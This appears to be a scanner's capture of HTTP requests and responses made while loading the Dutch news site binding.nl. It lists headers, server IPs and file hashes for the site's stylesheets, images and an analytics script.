Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         75.119.144.45
HTTP/2 200 OK
content-type: text/css
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
last-modified: Thu, 10 Nov 2022 08:37:02 GMT
etag: W/"636cb82e-1730"
strict-transport-security: max-age=15768000; includeSubDomains
x-powered-by: PleskLin
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text
Size:   8132
Md5:    85c85ba6cdc7e3eaed88a67959a29ce9
Sha1:   314282ff6323592b8bf11dd199961f942c890c54
Sha256: a847689c0194ff8ec0813b5afb9b8f8dc603da6554494967b0c82ea02d708ccd
                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 84
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         142.250.74.35
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 28 Nov 2022 06:50:47 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /www.binding.nl/wp-content/uploads/2020/04/Frank-Streng_K3B7257-groot-small-1.jpg?resize=324%2C160&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 6578
last-modified: Fri, 18 Nov 2022 20:18:34 GMT
expires: Mon, 18 Nov 2024 08:18:34 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2020/04/Frank-Streng_K3B7257-groot-small-1.jpg>; rel="canonical"
x-content-type-options: nosniff
etag: "1965d7fefe8cb555"
vary: Accept
x-nc: MISS arn 1
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp\012- data
Size:   6578
Md5:    2900846b3a583d2a7fe4a861b591fc30
Sha1:   987d43aae43f03f068a86562f059cfba04ee71ac
Sha256: a9087e74b38814a4ab964e8a893361061eafd5b89d419641db6238640730fc9c
                                        
                                            GET /www.binding.nl/wp-content/uploads/2022/11/20150629223618-e5c62323-me_small-e1669199612148.png?resize=324%2C235&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 55586
last-modified: Sat, 26 Nov 2022 12:31:25 GMT
expires: Tue, 26 Nov 2024 00:31:25 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2022/11/20150629223618-e5c62323-me_small-e1669199612148.png>; rel="canonical"
x-content-type-options: nosniff
etag: "87278789476750df"
vary: Accept
x-nc: MISS arn 4
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   55586
Md5:    767514499d6439af46f5dc302af17b4f
Sha1:   56bb5b3a55e0d66764b4bbbdcc92b4992572a491
Sha256: aa179c615a767e1bb27a0c41936e4aba9cb71ee2a0c25ffa25aeb9606ba5c703
                                        
                                            GET /www.binding.nl/wp-content/uploads/2022/11/repaircafe_small.png?resize=324%2C235&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 79986
last-modified: Sat, 26 Nov 2022 12:31:25 GMT
expires: Tue, 26 Nov 2024 00:31:25 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2022/11/repaircafe_small.png>; rel="canonical"
x-content-type-options: nosniff
etag: "c1e2d2bb46a5f16a"
vary: Accept
x-nc: MISS arn 4
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   79986
Md5:    8141d70d9844280e46fad0d07924f102
Sha1:   c4fcac24d1337340798b36e813b450de4ae11363
Sha256: 04a173416b51d85e4598627189a32afb4300b8e611c1769b4df6870222b4b2d7
                                        
                                            GET /www.binding.nl/wp-content/uploads/2022/11/Winnaars-Duurzaam-Ondernemen-Awards_small.png?resize=324%2C235&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 87668
last-modified: Sat, 26 Nov 2022 12:58:19 GMT
expires: Tue, 26 Nov 2024 00:58:19 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2022/11/Winnaars-Duurzaam-Ondernemen-Awards_small.png>; rel="canonical"
x-content-type-options: nosniff
etag: "e321c19b484fdc5d"
vary: Accept
x-nc: MISS arn 7
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   87668
Md5:    adecb524bd1f7f1c7f8aa3e2c4a9fa92
Sha1:   494a68cccf8dc5b27c2ef5c8cfe4b2fdb9ff806a
Sha256: 633ff933787e3ead8d79d232faa32278d786c06d89ffcff493bf34fa59ca22a8
                                        
                                            GET /www.binding.nl/wp-content/uploads/2022/11/WF-beweegt_small.png?resize=324%2C235&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 84822
last-modified: Fri, 25 Nov 2022 20:38:52 GMT
expires: Mon, 25 Nov 2024 08:38:52 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2022/11/WF-beweegt_small.png>; rel="canonical"
x-content-type-options: nosniff
etag: "31cd4390402216a6"
vary: Accept
x-nc: MISS arn 7
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   84822
Md5:    57537b443775ef5e4b28287a0ac25a5d
Sha1:   dd6d77140a2866553ffde29735c9324e5bbb342e
Sha256: 8bc565291fd1808ded541f6dafdeebe4f525eb2add3afc216aa1fe63b798cb6d
                                        
                                            GET /www.binding.nl/wp-content/uploads/2022/01/QR-code-Binding.png?resize=587%2C600&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 22622
last-modified: Fri, 18 Nov 2022 20:18:34 GMT
expires: Mon, 18 Nov 2024 08:18:34 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2022/01/QR-code-Binding.png>; rel="canonical"
x-content-type-options: nosniff
etag: "c936e2c2f77a7ff9"
vary: Accept
x-nc: MISS arn 6
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   22622
Md5:    16a8dfd5c4e65d4c1719316aaffa0a37
Sha1:   6ac37cfb59459391e977b2991543cbdc2aeb96ff
Sha256: d9518c4e9109aacf1130cbb457ec2ce2a1fce0c1642c21108075d06f81226483
                                        
                                            GET /www.binding.nl/wp-content/uploads/2019/11/IJsbaan-en-Kerstmarkt_small_resultaat_resultaat.jpg?resize=324%2C235&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 14448
last-modified: Thu, 24 Nov 2022 14:28:33 GMT
expires: Sun, 24 Nov 2024 02:28:33 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2019/11/IJsbaan-en-Kerstmarkt_small_resultaat_resultaat.jpg>; rel="canonical"
x-content-type-options: nosniff
etag: "310cbb01fd950bce"
vary: Accept
x-nc: MISS arn 2
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image, VP8 encoding, 324x235, Scaling: [none]x[none], YUV color, decoders should clamp\012- data
Size:   14448
Md5:    f98d4a4b060b28f95cdd3d06405376e1
Sha1:   ea4e6c2e6d125b555c68a0290e8f8982d9dbd1da
Sha256: 3e75c3c79992dd4bf51a405160ae21d3e6876f53af88ab2341269ed58765eeec
                                        
                                            GET /www.binding.nl/wp-content/uploads/2022/10/foto-1-vrijwilligersmarkt_small.png?resize=324%2C235&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 103504
last-modified: Sun, 20 Nov 2022 20:10:00 GMT
expires: Wed, 20 Nov 2024 08:10:00 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2022/10/foto-1-vrijwilligersmarkt_small.png>; rel="canonical"
x-content-type-options: nosniff
etag: "529704baa2637933"
vary: Accept
x-nc: MISS arn 2
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   103504
Md5:    1a7c1a1bdeb32dab2ddaa8a182b90628
Sha1:   40b9320d0b114a0992f29b808ea05c907bd938b2
Sha256: b2f5ed97da595c3bdec2030886ad7255475a9bb34e45d49b0ff40916b0132668
                                        
                                            GET /www.binding.nl/wp-content/plugins/td-standard-pack/Newspaper/assets/images/no-thumb/td_324x235.png?resize=324%2C235&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 140
last-modified: Mon, 28 Nov 2022 06:50:47 GMT
expires: Wed, 27 Nov 2024 18:50:47 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/plugins/td-standard-pack/Newspaper/assets/images/no-thumb/td_324x235.png>; rel="canonical"
x-content-type-options: nosniff
etag: "cd6f10ea798ee04d"
vary: Accept
x-nc: MISS arn 3
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   140
Md5:    28a00317af536e856d8926b76f2a95e9
Sha1:   535dfeea3347f29b2dbb8e53b7930e87020f4f13
Sha256: fb2329c1045d43e9be429854fbc31db325c6a0971d0d35b13e4437007122e102
                                        
                                            GET /www.binding.nl/wp-content/uploads/2019/11/IJsbaan-en-Kerstmarkt_small_resultaat_resultaat.jpg?resize=324%2C160&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 11376
last-modified: Thu, 24 Nov 2022 14:28:33 GMT
expires: Sun, 24 Nov 2024 02:28:33 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2019/11/IJsbaan-en-Kerstmarkt_small_resultaat_resultaat.jpg>; rel="canonical"
x-content-type-options: nosniff
etag: "de26825ec527dd68"
vary: Accept
x-nc: MISS arn 2
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp\012- data
Size:   11376
Md5:    0a48842f8b1c996f67ceff927d990346
Sha1:   0df1d8c1af00b781b73760fd2500cd621384bb94
Sha256: 464c80c0c0b6366d89fbc2ea77f7fca3d36dc8643221efb5c59c790a50dd0ed7
                                        
                                            GET /www.binding.nl/wp-content/uploads/2022/11/Voetbal-VVW-foto-3_small.png?resize=324%2C235&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 101320
last-modified: Sat, 26 Nov 2022 12:58:19 GMT
expires: Tue, 26 Nov 2024 00:58:19 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2022/11/Voetbal-VVW-foto-3_small.png>; rel="canonical"
x-content-type-options: nosniff
etag: "e83864023a27db17"
vary: Accept
x-nc: MISS arn 6
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   101320
Md5:    7c9d475252d7eabd2e5f0ae0275cd5e3
Sha1:   2c914239f4e8d40ada016a67d2bbcb4a232cc4ed
Sha256: eb54ef4752646dc393e5920c940f8af82436e52baf65f24f05fe652d414e8138
                                        
                                            GET /www.binding.nl/wp-content/uploads/2022/11/WF-beweegt_small.png?resize=324%2C160&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 58666
last-modified: Sat, 26 Nov 2022 12:31:25 GMT
expires: Tue, 26 Nov 2024 00:31:25 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2022/11/WF-beweegt_small.png>; rel="canonical"
x-content-type-options: nosniff
etag: "ebc46bc38f69eb7a"
vary: Accept
x-nc: MISS arn 7
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   58666
Md5:    2649706ea016bbf77a344460e0ed47a4
Sha1:   b41819d232270ccf840a810d9ab79df441f53822
Sha256: d97128935bcd6b362198ca0017c88b1155ec5240eb948d66aab06a6eb916b536
                                        
                                            GET /www.binding.nl/wp-content/uploads/2022/11/Winnaars-Duurzaam-Ondernemen-Awards_small.png?resize=324%2C160&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 64612
last-modified: Thu, 24 Nov 2022 18:28:19 GMT
expires: Sun, 24 Nov 2024 06:28:19 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2022/11/Winnaars-Duurzaam-Ondernemen-Awards_small.png>; rel="canonical"
x-content-type-options: nosniff
etag: "eb1cba4b638e8f85"
vary: Accept
x-nc: MISS arn 7
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   64612
Md5:    77568b7f44f85282366be0cce82ed7af
Sha1:   e17c39642ddb2f4e1dcd758fe8c627c2816daf99
Sha256: b1b9169ca0b35ae453062582bf0f51bb7826c6d208a7b0064b6f8cc92734e631
                                        
                                            GET /www.binding.nl/wp-content/uploads/2022/11/bas_nijhuis_copyrightproshots_small_bas_nijhuis_Pagina_Beheer_Over_Bas_201710122258481_small.png?resize=324%2C160&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 78014
last-modified: Thu, 17 Nov 2022 14:20:53 GMT
expires: Sun, 17 Nov 2024 02:20:53 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2022/11/bas_nijhuis_copyrightproshots_small_bas_nijhuis_Pagina_Beheer_Over_Bas_201710122258481_small.png>; rel="canonical"
x-content-type-options: nosniff
etag: "b3f453f3ca75f5e2"
vary: Accept
x-nc: MISS arn 2
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   78014
Md5:    e81f74dd8b4f338b6e17525c83bb7b6c
Sha1:   838d728dd18751b4da81f27bbb4a5ea7b21c2020
Sha256: b6185215e626bdfe3e1aa8a117ff4e590c367dff41a9ab1e1fc3de884736d565
                                        
                                            GET /www.binding.nl/wp-content/plugins/td-standard-pack/Newspaper/assets/images/no-thumb/td_534x462.png?resize=534%2C462&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 156
last-modified: Mon, 28 Nov 2022 06:50:47 GMT
expires: Wed, 27 Nov 2024 18:50:47 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/plugins/td-standard-pack/Newspaper/assets/images/no-thumb/td_534x462.png>; rel="canonical"
x-content-type-options: nosniff
etag: "6bba0e4bf3f6486e"
vary: Accept
x-nc: MISS arn 3
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   156
Md5:    d78bd8749f27f867d7fd11a66cff6021
Sha1:   a3140a16c05026a9d07b22facc25c7f121c3a719
Sha256: b282ddb3e5733f99a6e73867cff0b5d651279e868057b2571a9ba5ae90b25c12
                                        
                                            GET /wp-content/plugins/td-composer/td-multi-purpose/style.css?ver=e815948e5c9ec5801de67b92a1d5a59fx HTTP/1.1 
Host: www.binding.nl
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         75.119.144.45
HTTP/2 200 OK
content-type: text/css
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
last-modified: Wed, 16 Nov 2022 09:39:46 GMT
etag: W/"6374afe2-92ec"
strict-transport-security: max-age=15768000; includeSubDomains
x-powered-by: PleskLin
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (37612), with no line terminators
Size:   75571
Md5:    9b9ee3ff3a8e80c039a4c1622120a9cd
Sha1:   608859366853976eb7cb85fe96acedb01267f02d
Sha256: 7c34c8733d0b237256f7a5781ad015640ba05ace96bcc1ea3a40e2aeefdc01ed
                                        
                                            GET /www.binding.nl/wp-content/uploads/2022/11/Skriemeravond_small.png?resize=324%2C235&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 107314
last-modified: Wed, 23 Nov 2022 18:05:54 GMT
expires: Sat, 23 Nov 2024 06:05:54 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2022/11/Skriemeravond_small.png>; rel="canonical"
x-content-type-options: nosniff
etag: "de690324119a043f"
vary: Accept
x-nc: MISS arn 5
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   107314
Md5:    d45b1dba913eb88bd8f9b08525bc3261
Sha1:   abbb664f0e375d379a7e4568e02ea4ff35d918ee
Sha256: cf6c86eb9ac837096d8cd19248e7f536c6a3e4b96a135911090ba88312127c89
                                        
                                            GET /gtag/js?id=UA-34270940-1 HTTP/1.1 
Host: www.googletagmanager.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         142.250.74.168
HTTP/2 200 OK
content-type: application/javascript; charset=UTF-8
                                        
access-control-allow-origin: *
access-control-allow-credentials: true
access-control-allow-headers: Cache-Control
content-encoding: br
vary: Accept-Encoding
date: Mon, 28 Nov 2022 06:50:47 GMT
expires: Mon, 28 Nov 2022 06:50:47 GMT
cache-control: private, max-age=900
last-modified: Mon, 28 Nov 2022 06:00:00 GMT
strict-transport-security: max-age=31536000; includeSubDomains
cross-origin-resource-policy: cross-origin
server: Google Tag Manager
content-length: 43605
x-xss-protection: 0
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (1921)
Size:   43605
Md5:    048322def4c494f06cbeadadb646263a
Sha1:   dbb2c557d362088438177fac0b054f5cdd8bdb59
Sha256: a80f50f31d4e81985d6c51fa3d094910025a6f6054af00f601bd18ce61c8c787
                                        
                                            GET /www.binding.nl/wp-content/uploads/2022/11/pexels-mikhail-nilov-6964332-scaled-e1668592205386.jpg?resize=324%2C235&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 9746
last-modified: Mon, 28 Nov 2022 06:50:47 GMT
expires: Wed, 27 Nov 2024 18:50:47 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2022/11/pexels-mikhail-nilov-6964332-scaled-e1668592205386.jpg>; rel="canonical"
x-content-type-options: nosniff
etag: "3d10dac8e21fce1f"
